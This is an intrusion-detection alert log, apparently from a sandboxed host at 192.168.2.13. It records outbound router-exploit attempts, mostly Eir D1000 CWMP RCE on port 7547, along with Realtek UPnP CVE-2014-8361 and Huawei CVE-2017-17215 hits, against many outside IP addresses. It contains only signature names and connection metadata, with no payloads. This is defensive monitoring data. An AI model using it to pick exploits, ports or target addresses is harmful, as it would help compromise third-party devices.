04/15/24-08:52:28.800324	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51262	80	192.168.2.13	20.73.249.22
04/15/24-08:53:37.328843	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33498	7547	192.168.2.13	34.43.218.102
04/15/24-08:52:32.968966	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	49162	80	192.168.2.13	44.241.89.239
04/15/24-08:53:39.210818	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42642	7547	192.168.2.13	189.18.108.166
04/15/24-08:52:14.135134	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32992	7547	192.168.2.13	14.53.2.212
04/15/24-08:52:19.855798	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51500	7547	192.168.2.13	173.174.90.105
04/15/24-08:53:21.972672	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49084	7547	192.168.2.13	47.204.2.236
04/15/24-08:53:04.913179	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53006	7547	192.168.2.13	181.31.180.65
04/15/24-08:53:51.421262	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51406	7547	192.168.2.13	79.97.251.1
04/15/24-08:53:09.782170	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58054	52869	192.168.2.13	138.137.77.164
04/15/24-08:53:17.924399	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43686	7547	192.168.2.13	181.229.6.49
04/15/24-08:52:37.564197	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37516	7547	192.168.2.13	174.87.177.239
04/15/24-08:53:27.837413	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42322	7547	192.168.2.13	180.169.17.112
04/15/24-08:53:04.898579	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35974	7547	192.168.2.13	221.163.218.37
04/15/24-08:53:41.203577	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42880	80	192.168.2.13	52.174.91.34
04/15/24-08:53:44.078680	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60644	7547	192.168.2.13	183.124.236.206
04/15/24-08:52:13.620887	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49690	7547	192.168.2.13	81.151.235.54
04/15/24-08:52:55.925460	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37402	52869	192.168.2.13	199.208.108.1
04/15/24-08:53:42.843649	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56282	7547	192.168.2.13	61.76.151.114
04/15/24-08:53:00.142785	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	39838	80	192.168.2.13	184.30.251.168
04/15/24-08:52:20.159617	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37220	7547	192.168.2.13	197.26.224.230
04/15/24-08:53:10.681095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56248	52869	192.168.2.13	45.43.225.196
04/15/24-08:52:28.301983	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51616	7547	192.168.2.13	65.131.196.41
04/15/24-08:52:34.757263	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33084	7547	192.168.2.13	108.190.104.113
04/15/24-08:53:58.209517	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	59648	80	192.168.2.13	199.204.203.226
04/15/24-08:52:46.201656	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45354	52869	192.168.2.13	154.214.115.248
04/15/24-08:52:52.576453	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	59430	80	192.168.2.13	175.194.152.91
04/15/24-08:53:05.111474	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57102	7547	192.168.2.13	176.45.162.209
04/15/24-08:52:45.671265	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44934	7547	192.168.2.13	213.5.110.7
04/15/24-08:52:39.644577	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51180	80	192.168.2.13	23.205.159.241
04/15/24-08:53:35.050931	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	38294	80	192.168.2.13	220.132.97.125
04/15/24-08:53:49.937022	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38372	7547	192.168.2.13	181.118.9.24
04/15/24-08:52:54.890450	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41712	7547	192.168.2.13	144.86.38.180
04/15/24-08:52:28.654151	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57590	7547	192.168.2.13	14.57.254.144
04/15/24-08:53:51.360400	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50194	7547	192.168.2.13	119.196.52.152
04/15/24-08:52:30.973847	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41766	7547	192.168.2.13	134.16.79.133
04/15/24-08:52:55.254226	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41732	7547	192.168.2.13	144.86.38.180
04/15/24-08:53:08.710914	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44786	7547	192.168.2.13	216.212.46.35
04/15/24-08:52:26.138770	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48492	7547	192.168.2.13	177.170.154.250
04/15/24-08:53:21.444112	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33532	7547	192.168.2.13	97.120.212.86
04/15/24-08:53:44.089295	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44394	37215	192.168.2.13	172.65.157.181
04/15/24-08:53:59.334097	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37316	7547	192.168.2.13	218.108.130.74
04/15/24-08:52:15.605667	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42222	80	192.168.2.13	206.189.169.147
04/15/24-08:53:04.525702	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48262	7547	192.168.2.13	71.33.150.165
04/15/24-08:52:57.100946	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47572	7547	192.168.2.13	203.63.103.182
04/15/24-08:53:23.157648	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46080	7547	192.168.2.13	121.188.199.118
04/15/24-08:53:13.860640	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36244	7547	192.168.2.13	61.81.159.153
04/15/24-08:53:29.165529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55162	52869	192.168.2.13	164.167.226.105
04/15/24-08:53:43.933381	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57544	7547	192.168.2.13	72.174.122.72
04/15/24-08:53:10.455008	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52446	7547	192.168.2.13	86.177.99.207
04/15/24-08:53:30.172473	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55028	80	192.168.2.13	67.71.249.131
04/15/24-08:53:05.077179	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43706	7547	192.168.2.13	197.164.11.248
04/15/24-08:53:18.367248	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36466	7547	192.168.2.13	109.168.255.45
04/15/24-08:52:47.608176	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	45530	80	192.168.2.13	104.85.247.218
04/15/24-08:52:59.950910	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36942	52869	192.168.2.13	94.123.187.221
04/15/24-08:53:27.555946	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33112	7547	192.168.2.13	14.62.67.218
04/15/24-08:53:27.839928	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33132	7547	192.168.2.13	14.62.67.218
04/15/24-08:53:58.315510	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43348	7547	192.168.2.13	32.211.114.13
04/15/24-08:52:13.219748	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40228	7547	192.168.2.13	119.198.228.14
04/15/24-08:53:44.288455	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42244	52869	192.168.2.13	210.128.101.201
04/15/24-08:52:37.189009	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42636	7547	192.168.2.13	148.101.85.20
04/15/24-08:53:42.004470	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33238	80	192.168.2.13	18.239.145.165
04/15/24-08:52:57.514751	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56272	7547	192.168.2.13	109.191.199.13
04/15/24-08:52:50.784477	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38618	7547	192.168.2.13	168.149.18.147
04/15/24-08:53:16.666457	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56418	80	192.168.2.13	112.84.130.47
04/15/24-08:52:56.119199	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56826	37215	192.168.2.13	94.121.24.152
04/15/24-08:52:56.006412	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54272	52869	192.168.2.13	101.102.220.137
04/15/24-08:53:18.670747	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41204	7547	192.168.2.13	172.250.90.166
04/15/24-08:53:31.512030	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54686	7547	192.168.2.13	86.167.75.217
04/15/24-08:52:13.905617	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38288	7547	192.168.2.13	175.233.9.68
04/15/24-08:52:20.795451	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52674	7547	192.168.2.13	105.244.210.18
04/15/24-08:52:26.802771	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45220	7547	192.168.2.13	159.192.82.7
04/15/24-08:52:56.771699	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52508	7547	192.168.2.13	125.157.112.139
04/15/24-08:53:56.063177	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50792	7547	192.168.2.13	220.85.6.102
04/15/24-08:53:56.928421	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	38988	80	192.168.2.13	154.39.104.190
04/15/24-08:53:59.407204	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52630	80	192.168.2.13	38.63.202.219
04/15/24-08:53:57.145983	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57436	7547	192.168.2.13	189.15.71.96
04/15/24-08:53:27.228992	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56884	80	192.168.2.13	192.250.255.34
04/15/24-08:53:48.911606	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56372	7547	192.168.2.13	46.61.109.54
04/15/24-08:52:23.504948	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33422	80	192.168.2.13	51.81.234.22
04/15/24-08:52:17.434342	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46656	7547	192.168.2.13	61.79.31.242
04/15/24-08:52:57.648518	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39398	7547	192.168.2.13	163.191.71.200
04/15/24-08:52:29.858633	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60932	7547	192.168.2.13	5.167.43.27
04/15/24-08:53:00.178079	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51328	80	192.168.2.13	13.71.93.50
04/15/24-08:53:37.513366	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55718	7547	192.168.2.13	75.166.15.70
04/15/24-08:53:02.987155	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	40218	80	192.168.2.13	20.241.216.208
04/15/24-08:52:28.358166	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45930	7547	192.168.2.13	190.194.183.233
04/15/24-08:53:05.305998	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33696	7547	192.168.2.13	86.189.241.9
04/15/24-08:53:29.165529	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55162	52869	192.168.2.13	164.167.226.105
04/15/24-08:53:32.422688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55176	52869	192.168.2.13	164.167.226.105
04/15/24-08:53:28.886313	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	59490	80	192.168.2.13	16.171.158.240
04/15/24-08:53:29.879372	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35504	7547	192.168.2.13	2.140.1.5
04/15/24-08:52:22.690845	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33942	7547	192.168.2.13	71.94.50.118
04/15/24-08:52:40.027084	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60658	7547	192.168.2.13	133.114.90.23
04/15/24-08:53:46.572732	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40646	7547	192.168.2.13	176.171.58.15
04/15/24-08:53:38.511084	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47558	7547	192.168.2.13	197.3.112.32
04/15/24-08:53:58.236416	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35876	80	192.168.2.13	66.35.66.210
04/15/24-08:53:49.973040	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	41076	80	192.168.2.13	184.24.198.149
04/15/24-08:52:12.942526	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34822	7547	192.168.2.13	175.235.238.192
04/15/24-08:53:10.723900	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55106	7547	192.168.2.13	121.183.250.44
04/15/24-08:52:15.747783	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54266	52869	192.168.2.13	164.248.78.18
04/15/24-08:52:27.603438	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43614	52869	192.168.2.13	208.112.192.208
04/15/24-08:52:59.056598	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51584	7547	192.168.2.13	14.80.86.229
04/15/24-08:52:40.446991	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49770	7547	192.168.2.13	14.54.98.210
04/15/24-08:52:37.107066	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47734	7547	192.168.2.13	176.197.62.75
04/15/24-08:53:13.567996	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43120	7547	192.168.2.13	125.65.125.29
04/15/24-08:52:45.127515	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55902	7547	192.168.2.13	201.210.111.76
04/15/24-08:53:24.201228	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55110	52869	192.168.2.13	203.99.106.59
04/15/24-08:52:40.468296	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43196	7547	192.168.2.13	211.225.254.112
04/15/24-08:53:29.523472	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58126	7547	192.168.2.13	47.149.41.251
04/15/24-08:53:06.519453	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53404	80	192.168.2.13	65.18.163.146
04/15/24-08:53:54.497107	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59610	7547	192.168.2.13	93.176.172.234
04/15/24-08:52:43.872116	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40804	52869	192.168.2.13	139.39.192.129
04/15/24-08:52:55.395183	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42448	7547	192.168.2.13	189.124.222.175
04/15/24-08:52:49.817860	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54200	7547	192.168.2.13	196.235.219.135
04/15/24-08:52:56.775566	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54674	7547	192.168.2.13	14.78.176.81
04/15/24-08:53:32.775086	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38670	7547	192.168.2.13	14.74.68.86
04/15/24-08:52:46.847092	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38750	7547	192.168.2.13	27.238.37.160
04/15/24-08:53:37.295632	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33740	7547	192.168.2.13	47.149.241.164
04/15/24-08:52:36.077554	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36240	7547	192.168.2.13	14.43.226.5
04/15/24-08:53:58.354005	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	32902	80	192.168.2.13	179.37.157.170
04/15/24-08:53:56.064151	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49134	7547	192.168.2.13	115.16.69.175
04/15/24-08:53:41.111879	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46382	80	192.168.2.13	3.234.243.236
04/15/24-08:53:28.152893	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40142	7547	192.168.2.13	152.171.175.18
04/15/24-08:52:31.273325	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46878	52869	192.168.2.13	34.110.241.133
04/15/24-08:53:43.068322	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57332	7547	192.168.2.13	59.12.224.143
04/15/24-08:53:30.263789	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	40884	80	192.168.2.13	85.117.34.138
04/15/24-08:53:13.006005	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58352	7547	192.168.2.13	181.164.67.9
04/15/24-08:52:13.843557	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32956	7547	192.168.2.13	14.53.2.212
04/15/24-08:53:38.872616	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47668	7547	192.168.2.13	197.3.112.32
04/15/24-08:53:21.503054	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44358	80	192.168.2.13	137.184.241.206
04/15/24-08:53:28.007231	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49104	7547	192.168.2.13	50.32.145.174
04/15/24-08:53:39.560729	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49960	7547	192.168.2.13	77.59.157.72
04/15/24-08:52:55.860816	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56958	7547	192.168.2.13	69.53.13.168
04/15/24-08:53:25.182442	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44254	7547	192.168.2.13	121.129.14.26
04/15/24-08:52:34.533625	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33068	7547	192.168.2.13	108.190.104.113
04/15/24-08:53:21.862509	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44912	7547	192.168.2.13	118.52.71.152
04/15/24-08:53:42.721372	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49026	7547	192.168.2.13	47.149.83.69
04/15/24-08:52:14.186028	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57164	7547	192.168.2.13	86.179.210.39
04/15/24-08:53:41.629376	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60938	80	192.168.2.13	54.192.73.197
04/15/24-08:53:53.091120	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47764	7547	192.168.2.13	175.251.233.232
04/15/24-08:53:18.697031	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56342	7547	192.168.2.13	175.241.110.45
04/15/24-08:53:59.196292	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53110	7547	192.168.2.13	199.254.110.54
04/15/24-08:53:06.838737	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	38352	80	192.168.2.13	176.60.167.160
04/15/24-08:53:50.382449	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55678	80	192.168.2.13	18.164.45.12
04/15/24-08:53:59.008674	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34392	7547	192.168.2.13	47.200.108.84
04/15/24-08:52:47.140345	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38754	7547	192.168.2.13	27.238.37.160
04/15/24-08:53:08.697245	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60980	7547	192.168.2.13	99.250.42.94
04/15/24-08:53:08.852893	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59606	7547	192.168.2.13	67.1.126.103
04/15/24-08:53:24.893352	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59894	7547	192.168.2.13	1.140.19.46
04/15/24-08:53:42.839891	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44128	7547	192.168.2.13	84.74.124.103
04/15/24-08:53:50.825417	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37208	80	192.168.2.13	108.157.174.76
04/15/24-08:53:53.197600	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48626	7547	192.168.2.13	83.132.232.71
04/15/24-08:52:32.299877	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47122	7547	192.168.2.13	95.29.33.22
04/15/24-08:53:19.249446	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60082	7547	192.168.2.13	211.218.225.190
04/15/24-08:53:55.772262	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46010	7547	192.168.2.13	177.244.195.156
04/15/24-08:53:10.438015	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55082	7547	192.168.2.13	121.183.250.44
04/15/24-08:52:40.862025	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38160	52869	192.168.2.13	164.250.228.64
04/15/24-08:53:15.194696	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	38252	80	192.168.2.13	112.140.160.34
04/15/24-08:53:15.176579	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50472	80	192.168.2.13	13.224.221.14
04/15/24-08:53:41.256190	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35234	80	192.168.2.13	38.47.142.247
04/15/24-08:53:48.604318	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47928	7547	192.168.2.13	41.251.136.101
04/15/24-08:52:43.300852	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37586	7547	192.168.2.13	14.87.222.8
04/15/24-08:52:19.920759	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45302	7547	192.168.2.13	197.93.13.146
04/15/24-08:52:43.151823	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58048	7547	192.168.2.13	74.136.192.98
04/15/24-08:53:41.202468	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56404	52869	192.168.2.13	172.65.91.68
04/15/24-08:53:41.204671	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	38240	80	192.168.2.13	18.197.26.163
04/15/24-08:52:44.297045	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36640	7547	192.168.2.13	14.82.7.71
04/15/24-08:53:27.854345	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40126	7547	192.168.2.13	152.171.175.18
04/15/24-08:53:42.722390	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33648	7547	192.168.2.13	99.236.83.244
04/15/24-08:53:49.114828	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45528	7547	192.168.2.13	175.205.220.251
04/15/24-08:53:13.865921	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48982	7547	192.168.2.13	183.102.2.117
04/15/24-08:53:12.870904	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59128	7547	192.168.2.13	47.34.64.177
04/15/24-08:53:01.699051	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53768	7547	192.168.2.13	65.31.156.182
04/15/24-08:53:01.463300	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57770	7547	192.168.2.13	50.40.105.187
04/15/24-08:53:41.049504	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56352	52869	192.168.2.13	172.65.91.68
04/15/24-08:53:03.083769	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44992	80	192.168.2.13	121.42.10.7
04/15/24-08:53:16.727595	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	49934	80	192.168.2.13	38.11.212.57
04/15/24-08:52:29.939922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53148	52869	192.168.2.13	194.195.254.132
04/15/24-08:53:16.671265	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56422	80	192.168.2.13	112.84.130.47
04/15/24-08:53:13.171149	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37946	7547	192.168.2.13	14.75.96.121
04/15/24-08:52:59.950910	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36942	52869	192.168.2.13	94.123.187.221
04/15/24-08:52:59.611328	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56248	52869	192.168.2.13	160.141.82.82
04/15/24-08:52:21.080196	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37386	7547	192.168.2.13	86.148.8.93
04/15/24-08:53:08.838936	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38746	7547	192.168.2.13	175.230.240.40
04/15/24-08:53:29.368449	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	50640	80	192.168.2.13	54.192.169.220
04/15/24-08:52:23.132745	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46826	80	192.168.2.13	102.140.86.120
04/15/24-08:53:29.788664	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59074	7547	192.168.2.13	186.27.132.13
04/15/24-08:52:35.117740	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40782	7547	192.168.2.13	37.250.57.104
04/15/24-08:53:52.778805	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35132	7547	192.168.2.13	183.116.193.44
04/15/24-08:52:13.606308	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34416	7547	192.168.2.13	121.149.168.189
04/15/24-08:52:53.094866	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	34494	80	192.168.2.13	27.124.12.44
04/15/24-08:53:29.198696	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	48672	80	192.168.2.13	34.252.121.151
04/15/24-08:52:28.801852	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60548	7547	192.168.2.13	151.251.68.81
04/15/24-08:52:15.435014	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	38576	80	192.168.2.13	104.20.127.149
04/15/24-08:53:01.252954	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38908	7547	192.168.2.13	5.3.241.235
04/15/24-08:53:54.186128	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55454	7547	192.168.2.13	50.48.75.22
